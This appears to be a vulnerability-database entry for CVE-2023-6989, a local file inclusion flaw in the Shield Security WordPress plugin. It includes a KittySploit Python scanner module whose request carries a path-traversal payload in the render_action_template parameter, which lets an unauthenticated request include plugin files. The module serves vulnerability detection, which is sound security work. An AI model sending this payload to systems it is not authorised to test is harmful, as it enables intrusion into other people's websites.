Shield Security WP Plugin <= 18.5.9 - Local File Inclusion Detection
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| CVE-2023-6989 | 5 Feb 202422:15 | – | attackerkb | |
| The vulnerabilities of the functions setTemplate(), renderPhp(), and pathJoin() of the Shield Security plugin—a WordPress content management system for smart bot blocking and intrusion prevention—allow attackers to load arbitrary PHP files. | 9 Feb 202400:00 | – | bdu_fstec | |
| CVE-2023-6989 | 29 Feb 202409:56 | – | circl | |
| WordPress plugin Shield Security security vulnerability | 5 Feb 202400:00 | – | cnnvd | |
| CVE-2023-6989 | 5 Feb 202421:21 | – | cve | |
| CVE-2023-6989 Shield Security – Smart Bot Blocking & Intrusion Prevention Security <= 18.5.9 - Unauthenticated Local File Inclusion | 5 Feb 202421:21 | – | cvelist | |
| Shield Security WP Plugin <= 18.5.9 - Local File Inclusion | 14 Oct 202602:05 | – | nuclei | |
| CVE-2023-6989 | 5 Feb 202422:15 | – | nvd | |
| CVE-2023-6989 | 5 Feb 202422:15 | – | osv | |
| WordPress Shield Security Plugin <= 18.5.9 is vulnerable to Local File Inclusion | 5 Feb 202400:00 | – | patchstack |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The Shield Security Smart Bot Blocking & Intrusion Prevention Security plugin for WordPress is vulnerable to L."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Shield Security WP Plugin <= 18.5.9 - Local File Inclusion Detection',
'description': 'The Shield Security Smart Bot Blocking & Intrusion Prevention Security plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 18.5.9 via the render_action_template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'wpscan', 'cve', 'cve2023', 'wp', 'wordpress', 'wp-plugin', 'lfi', 'shield-security', 'getshieldsecurity', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wpscan.com/vulnerability/a485aee7-39a0-418c-9699-9afc53e28f55/',
'https://nvd.nist.gov/vuln/detail/CVE-2023-6989',
'https://github.com/fkie-cad/nvd-json-data-feeds',
],
'cve': 'CVE-2023-6989',
}
def run(self):
path = '/wp-admin/admin-ajax.php'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data='action=shield_action&ex=generic_render&exnonce=5a988a925a&render_action_template=../../icwp-wpsf.php\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('"dashboard_shield"', '"shield_action"', '"search_shield"',)
header_any = ('application/json',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(severity='critical', reason='Shield Security WP Plugin <= 18.5.9 - Local File Inclusion detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
EPSS0.56567
SSVC